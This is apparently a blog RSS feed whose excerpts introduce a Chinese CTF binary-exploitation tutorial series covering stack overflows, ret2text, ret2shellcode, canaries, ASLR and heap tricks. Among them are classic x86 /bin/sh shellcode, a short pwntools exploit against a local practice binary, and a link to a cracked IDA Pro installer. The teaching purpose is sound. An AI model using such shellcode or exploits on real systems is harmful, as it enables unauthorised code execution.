<a href="https://github.com/zhengmin1989/ROP_STEP_BY_STEP/blob/master/linux_x64/level5" title="蒸米的一步一步学 ROP level5" rel="noopener external nofollow noreferrer" target="_blank" class=" exturl">
蒸米的一步一步学 ROP level5
<i class="fa fa-external-link-alt"></i>
</a></p></description></item><item><title>从零开始的 Pwn 之旅 - 格式化字符串</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/</link><pubDate>Sat, 12 Jul 2025 10:51:35 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/</guid><description><h2 id="格式化字符串初识">格式化字符串初识
<a class="header-anchor" href="#%e6%a0%bc%e5%bc%8f%e5%8c%96%e5%ad%97%e7%ac%a6%e4%b8%b2%e5%88%9d%e8%af%86"></a>
</h2><p><img src="/imgs/img-lazy-loading.gif" data-src="https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/figure/printf.png" alt="示意图" /></p>
<p>常见的格式化字符串函数有 <code>printf</code>、<code>sprintf</code>、<code>fprintf</code>、<code>vprintf</code>、<code>vfprintf</code> 等。</p>
<p>让我们写个简单的程序来观察观察：</p></description></item><item><title>从零开始的 Pwn 之旅 - PIE 和 ALSR</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---pie-%E5%92%8C-alsr/</link><pubDate>Fri, 11 Jul 2025 22:15:52 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---pie-%E5%92%8C-alsr/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><ul>
<li>PIE（Position Independent Executable）和ASLR（Address Space Layout Randomization）是现代操作系统中常用的安全机制。通过随机化程序的内存布局，PIE和ASLR可以有效地防止攻击者利用已知的内存地址进行攻击。</li>
</ul>
<p>ALSR 安全保护等级可以使用如下命令查看:</p></description></item><item><title>从零开始的 Pwn 之旅 - Cancary</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---cancary/</link><pubDate>Wed, 02 Jul 2025 21:17:51 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---cancary/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>Cancary 是一种安全加固保护机制，通过对程序栈底插入一段随机的字节串，来校验当前程序是否被栈溢出</p>
<h2 id="cancary">cancary
<a class="header-anchor" href="#cancary"></a>
</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1"> 1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2"> 2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3"> 3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4"> 4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5"> 5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6"> 6</a>
</span><span class="lnt" id="hl-0-7"><a class="lnlinks" href="#hl-0-7"> 7</a>
</span><span class="lnt" id="hl-0-8"><a class="lnlinks" href="#hl-0-8"> 8</a>
</span><span class="lnt" id="hl-0-9"><a class="lnlinks" href="#hl-0-9"> 9</a>
</span><span class="lnt" id="hl-0-10"><a class="lnlinks" href="#hl-0-10">10</a>
</span><span class="lnt" id="hl-0-11"><a class="lnlinks" href="#hl-0-11">11</a>
</span><span class="lnt" id="hl-0-12"><a class="lnlinks" href="#hl-0-12">12</a>
</span><span class="lnt" id="hl-0-13"><a class="lnlinks" href="#hl-0-13">13</a>
</span><span class="lnt" id="hl-0-14"><a class="lnlinks" href="#hl-0-14">14</a>
</span><span class="lnt" id="hl-0-15"><a class="lnlinks" href="#hl-0-15">15</a>
</span><span class="lnt" id="hl-0-16"><a class="lnlinks" href="#hl-0-16">16</a>
</span><span class="lnt" id="hl-0-17"><a class="lnlinks" href="#hl-0-17">17</a>
</span><span class="lnt" id="hl-0-18"><a class="lnlinks" href="#hl-0-18">18</a>
</span><span class="lnt" id="hl-0-19"><a class="lnlinks" href="#hl-0-19">19</a>
</span><span class="lnt" id="hl-0-20"><a class="lnlinks" href="#hl-0-20">20</a>
</span><span class="lnt" id="hl-0-21"><a class="lnlinks" href="#hl-0-21">21</a>
</span><span class="lnt" id="hl-0-22"><a class="lnlinks" href="#hl-0-22">22</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// main.c
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">EXIT_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">canary_strong</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">typedef</span> <span class="k">struct</span> <span class="n">MyStruct</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x4</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span><span class="n">MyStruct</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">MyStruct</span> <span class="n">myStruct</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">canary</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x8</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>编译参数：</p></description></item><item><title>从零开始的 Pwn 之旅 - Ret2libc</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2libc/</link><pubDate>Sat, 28 Jun 2025 18:09:12 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2libc/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>ret2libc 即控制函数的执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)</p>
<h2 id="函数调用约定和函数传参">函数调用约定和函数传参
<a class="header-anchor" href="#%e5%87%bd%e6%95%b0%e8%b0%83%e7%94%a8%e7%ba%a6%e5%ae%9a%e5%92%8c%e5%87%bd%e6%95%b0%e4%bc%a0%e5%8f%82"></a>
</h2><p>当使用 ida pro 逆向分析时，函数开头总有这么一段：</p></description></item><item><title>从零开始的 Pwn 之旅 - Ret2syscall</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2syscall/</link><pubDate>Sat, 28 Jun 2025 17:22:01 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2syscall/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>ret2syscall 是 Pwn 进阶中的一个重要概念，它允许我们通过修改返回地址来直接调用系统调用，从而实现更复杂的攻击。本文将介绍 ret2syscall 的基本原理和应用。</p>
<p>C 语言中的 <code>puts</code> <code>read</code> <code>write</code> 等函数实际上是对系统调用的封装。通过 ret2syscall，我们可以直接调用这些系统调用，而不需要依赖 libc 函数。</p></description></item><item><title>从零开始的 Pwn 之旅 - Ret2shellcode 进阶</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2shellcode-%E8%BF%9B%E9%98%B6/</link><pubDate>Sat, 28 Jun 2025 16:46:27 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2shellcode-%E8%BF%9B%E9%98%B6/</guid><description><h2 id="手写-shellcode">手写 shellcode
<a class="header-anchor" href="#%e6%89%8b%e5%86%99-shellcode"></a>
</h2><p>这里给出最经典的 shellcode</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1"> 1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2"> 2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3"> 3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4"> 4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5"> 5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6"> 6</a>
</span><span class="lnt" id="hl-0-7"><a class="lnlinks" href="#hl-0-7"> 7</a>
</span><span class="lnt" id="hl-0-8"><a class="lnlinks" href="#hl-0-8"> 8</a>
</span><span class="lnt" id="hl-0-9"><a class="lnlinks" href="#hl-0-9"> 9</a>
</span><span class="lnt" id="hl-0-10"><a class="lnlinks" href="#hl-0-10">10</a>
</span><span class="lnt" id="hl-0-11"><a class="lnlinks" href="#hl-0-11">11</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-asm" data-lang="asm"><span class="line"><span class="cl"> <span class="nf">xor</span> <span class="no">eax</span><span class="p">,</span> <span class="no">eax</span> <span class="c1">; eax = 0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">push</span> <span class="no">eax</span> <span class="c1">; push 0 (null terminator)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">push</span> <span class="mi">0x68732f2f</span> <span class="c1">; push &#34;//sh&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">push</span> <span class="mi">0x6e69622f</span> <span class="c1">; push &#34;/bin&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">mov</span> <span class="no">ebx</span><span class="p">,</span> <span class="no">esp</span> <span class="c1">; ebx = pointer to &#34;/bin//sh&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">push</span> <span class="no">eax</span> <span class="c1">; push 0 (argv[1] = NULL)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">mov</span> <span class="no">edx</span><span class="p">,</span> <span class="no">esp</span> <span class="c1">; edx = pointer to NULL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">push</span> <span class="no">ebx</span> <span class="c1">; push pointer to &#34;/bin//sh&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">mov</span> <span class="no">ecx</span><span class="p">,</span> <span class="no">esp</span> <span class="c1">; ecx = pointer to argv
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">mov</span> <span class="no">al</span><span class="p">,</span> <span class="mi">0xb</span> <span class="c1">; syscall number for execve
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nf">int</span> <span class="mi">0x80</span> <span class="err">;</span> <span class="no">trigger</span> <span class="no">syscall</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>最经典的 Linux x86（32位）shellcode，它的作用是执行 /bin/sh（获得 shell）</p></description></item><item><title>从零开始的 Pwn 之旅 - Ret2shellcode</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2shellcode/</link><pubDate>Fri, 27 Jun 2025 22:49:50 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2shellcode/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>ret2shellcode 即是将程序的控制流劫持到我们构造的 shellcode 上。shellcode 是一段可以被执行的代码，通常用于执行系统命令或打开一个 shell。</p>
<p>想要执行 sehllcode, shellcode 所在的内存区域必须是可执行的。</p></description></item><item><title>从零开始的 Pwn 之旅 - Ret2text</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2text/</link><pubDate>Wed, 25 Jun 2025 14:32:23 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2text/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>之前我们已经初步介绍了栈溢出和栈对齐，这一节我们将做一个巩固练习</p>
<h2 id="ret2text">ret2text
<a class="header-anchor" href="#ret2text"></a>
</h2><p>
<a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/user-mode/stackoverflow/ret2text/bamboofox-ret2text" title="ret2text" rel="noopener external nofollow noreferrer" target="_blank" class=" exturl">
ret2text
<i class="fa fa-external-link-alt"></i>
</a></p>
<p>先进行安全防护检测</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1"> 1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2"> 2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3"> 3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4"> 4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5"> 5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6"> 6</a>
</span><span class="lnt" id="hl-0-7"><a class="lnlinks" href="#hl-0-7"> 7</a>
</span><span class="lnt" id="hl-0-8"><a class="lnlinks" href="#hl-0-8"> 8</a>
</span><span class="lnt" id="hl-0-9"><a class="lnlinks" href="#hl-0-9"> 9</a>
</span><span class="lnt" id="hl-0-10"><a class="lnlinks" href="#hl-0-10">10</a>
</span><span class="lnt" id="hl-0-11"><a class="lnlinks" href="#hl-0-11">11</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ chmod +x ./ret2text <span class="o">(</span>.venv<span class="o">)</span> master
</span></span><span class="line"><span class="cl"><span class="s1">&#39;./ret2text&#39;</span> 的模式已由 <span class="m">0644</span> <span class="o">(</span>rw-r--r--<span class="o">)</span> 更改为 <span class="m">0755</span> <span class="o">(</span>rwxr-xr-x<span class="o">)</span>
</span></span><span class="line"><span class="cl">~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ pwn checksec ./ret2text <span class="o">(</span>.venv<span class="o">)</span> master ✱
</span></span><span class="line"><span class="cl"><span class="o">[</span>*<span class="o">]</span> <span class="s1">&#39;/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2text/bamboofox-ret2text/ret2text&#39;</span>
</span></span><span class="line"><span class="cl"> Arch: i386-32-little
</span></span><span class="line"><span class="cl"> RELRO: Partial RELRO
</span></span><span class="line"><span class="cl"> Stack: No canary found
</span></span><span class="line"><span class="cl"> NX: NX enabled
</span></span><span class="line"><span class="cl"> PIE: No PIE <span class="o">(</span>0x8048000<span class="o">)</span>
</span></span><span class="line"><span class="cl"> Stripped: No
</span></span><span class="line"><span class="cl"> Debuginfo: Yes</span></span></code></pre></td></tr></table>
</div>
</div>
<p>ida pro 逆向</p></description></item><item><title>从零开始的 Pwn 之旅 - 栈对齐</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%88%E5%AF%B9%E9%BD%90/</link><pubDate>Tue, 24 Jun 2025 12:37:00 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%88%E5%AF%B9%E9%BD%90/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>在上一节中为了成功执行 payload，我们在 exp.py 中加入了 <code>ret</code> 指令，今天我们将继续深入了解栈对齐的问题。</p>
<h2 id="栈对齐">栈对齐
<a class="header-anchor" href="#%e6%a0%88%e5%af%b9%e9%bd%90"></a>
</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1"> 1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2"> 2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3"> 3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4"> 4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5"> 5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6"> 6</a>
</span><span class="lnt" id="hl-0-7"><a class="lnlinks" href="#hl-0-7"> 7</a>
</span><span class="lnt" id="hl-0-8"><a class="lnlinks" href="#hl-0-8"> 8</a>
</span><span class="lnt" id="hl-0-9"><a class="lnlinks" href="#hl-0-9"> 9</a>
</span><span class="lnt" id="hl-0-10"><a class="lnlinks" href="#hl-0-10">10</a>
</span><span class="lnt" id="hl-0-11"><a class="lnlinks" href="#hl-0-11">11</a>
</span><span class="lnt" id="hl-0-12"><a class="lnlinks" href="#hl-0-12">12</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./main&#34;</span><span class="p">)</span> <span class="c1"># 启动程序</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">backdoor</span> <span class="o">=</span> <span class="mh">0x401170</span> <span class="c1"># backdoor 函数的地址</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 0x000000000040101a : ret</span>
</span></span><span class="line"><span class="cl"><span class="n">ret</span> <span class="o">=</span> <span class="mh">0x40101a</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;a&#34;</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x10</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">backdoor</span><span class="p">)</span> <span class="c1"># 填充到 0x10 字节 + 8 字节的返回地址</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="c1"># 发送 payload</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span> <span class="c1"># 进入交互模式</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>开始调试后一直跟踪到发现卡住无法调试了</p></description></item><item><title>从零开始的 Pwn 之旅 - 栈溢出初识</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%9D%E8%AF%86/</link><pubDate>Mon, 23 Jun 2025 18:30:00 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%9D%E8%AF%86/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>为什么输入一串杂乱的字符串，就能让程序崩溃？为什么输入一串特定的字符串，就能让程序执行任意代码？下面的内容将带你走进 Pwn 的世界，了解栈溢出是如何发生的，以及如何利用它来执行任意代码。</p></description></item><item><title>从零开始的 Pwn 之旅 - Pwn 环境的搭建</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---pwn-%E7%8E%AF%E5%A2%83%E7%9A%84%E6%90%AD%E5%BB%BA/</link><pubDate>Mon, 23 Jun 2025 18:15:00 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---pwn-%E7%8E%AF%E5%A2%83%E7%9A%84%E6%90%AD%E5%BB%BA/</guid><description><h2 id="静态代码分析">静态代码分析
<a class="header-anchor" href="#%e9%9d%99%e6%80%81%e4%bb%a3%e7%a0%81%e5%88%86%e6%9e%90"></a>
</h2><h3 id="ida-pro">ida pro
<a class="header-anchor" href="#ida-pro"></a>
</h3><p>
<a href="https://www.52pojie.cn/thread-1970020-1-1.html" title="[Disassemblers] IDA Pro 9.0 RC1 全平台安装包 及 patch脚本" rel="noopener external nofollow noreferrer" target="_blank" class=" exturl">
[Disassemblers] IDA Pro 9.0 RC1 全平台安装包 及 patch脚本
<i class="fa fa-external-link-alt"></i>
</a></p>
<p>安装过程不再赘述</p>
<p>将要分析的二进制文件拖入 IDA Pro 中，等待分析完成。</p></description></item><item><title>从零开始的 Pwn 之旅 - 掌握调试器 gdb 的基本使用</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%8E%8C%E6%8F%A1%E8%B0%83%E8%AF%95%E5%99%A8-gdb-%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8/</link><pubDate>Sun, 22 Jun 2025 16:32:00 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%8E%8C%E6%8F%A1%E8%B0%83%E8%AF%95%E5%99%A8-gdb-%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8/</guid><description><h2 id="gdb">GDB
<a class="header-anchor" href="#gdb"></a>
</h2><h3 id="介绍">介绍
<a class="header-anchor" href="#%e4%bb%8b%e7%bb%8d"></a>
</h3><p>gdb 是 GNU Debugger 的缩写，是一个强大的调试工具，广泛用于调试 C/C++ 程序。它允许开发者在程序运行时检查变量、设置断点、单步执行代码等操作。掌握 gdb 是进行 Pwn 挑战的基础技能之一。</p></description></item><item><title>从零开始的 Pwn 之旅 - x86 汇编基础</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---x86-%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/</link><pubDate>Sun, 22 Jun 2025 14:00:00 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---x86-%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/</guid><description><h2 id="汇编语言风格">汇编语言风格
<a class="header-anchor" href="#%e6%b1%87%e7%bc%96%e8%af%ad%e8%a8%80%e9%a3%8e%e6%a0%bc"></a>
</h2><table>
<thead>
<tr>
<th>AT&amp;T</th>
<th>Intel</th>
</tr>
</thead>
<tbody>
<tr>
<td>寄存器前缀 <code>%</code></td>
<td>寄存器无前缀</td>
</tr>
<tr>
<td>立即数前缀 <code>$</code></td>
<td>立即数无前缀</td>
</tr>
<tr>
<td>16 进制数前缀 <code>0x</code></td>
<td>16 进制数后缀 <code>h</code></td>
</tr>
<tr>
<td>源操作数在前，目标操作数在后</td>
<td>源操作数在后，目标操作数在前</td>
</tr>
<tr>
<td>间接寻址使用 <code>(%reg)</code></td>
<td>间接寻址使用 <code>[reg]</code></td>
</tr>
<tr>
<td>间接寻址格式为 <code>(%reg, %reg, scale)</code></td>
<td>间接寻址格式为 <code>[reg + reg * scale]</code></td>
</tr>
<tr>
<td>操作数大小后缀 <code>b</code>、<code>w</code>、<code>l</code></td>
<td>操作数大小后缀 <code>byte ptr</code>、<code>word ptr</code>、<code>dword ptr</code></td>
</tr>
</tbody>
</table>
<h2 id="寄存器">寄存器
<a class="header-anchor" href="#%e5%af%84%e5%ad%98%e5%99%a8"></a>
</h2>
<blockquote>
<p>寄存器是 CPU 内部的高速存储器，用于存储临时数据和指令执行状态。</p></description></item><item><title>从零开始的 Pwn 之旅 - 深入了解 elf 文件</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3-elf-%E6%96%87%E4%BB%B6/</link><pubDate>Fri, 20 Jun 2025 22:00:00 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3-elf-%E6%96%87%E4%BB%B6/</guid><description><h2 id="elf-文件初识">ELF 文件初识
<a class="header-anchor" href="#elf-%e6%96%87%e4%bb%b6%e5%88%9d%e8%af%86"></a>
</h2><p>ELF 文件即 Linux 下的可执行文件，ELF 是 Executable and Linkable Format 的缩写。它是一个标准的二进制文件格式，用于存储可执行文件、目标代码、共享库和核心转储等。</p>
<p>使用 Linux 内置命令 file 可以轻松查看文件类型：</p></description></item><item><title>House_of_BotCake</title><link>/posts/house_of_botcake/</link><pubDate>Thu, 17 Apr 2025 22:03:37 +0800</pubDate><guid>/posts/house_of_botcake/</guid><description><h2 id="利用背景">利用背景
<a class="header-anchor" href="#%e5%88%a9%e7%94%a8%e8%83%8c%e6%99%af"></a>
</h2><p>自 glibc 2.29 开始加入了对 tcache 的 double free 检查, 使得之前的 tcache double free 失效</p>
<h3 id="源码解读">源码解读
<a class="header-anchor" href="#%e6%ba%90%e7%a0%81%e8%a7%a3%e8%af%bb"></a>
</h3><p>tcache 结构体</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1">1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2">2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3">3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4">4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5">5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6">6</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="n">tcache_entry</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">struct</span> <span class="n">tcache_entry</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span> <span class="c1">//链表指针，对应chunk中的fd字段
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="cm">/* This field exists to detect double frees. */</span>
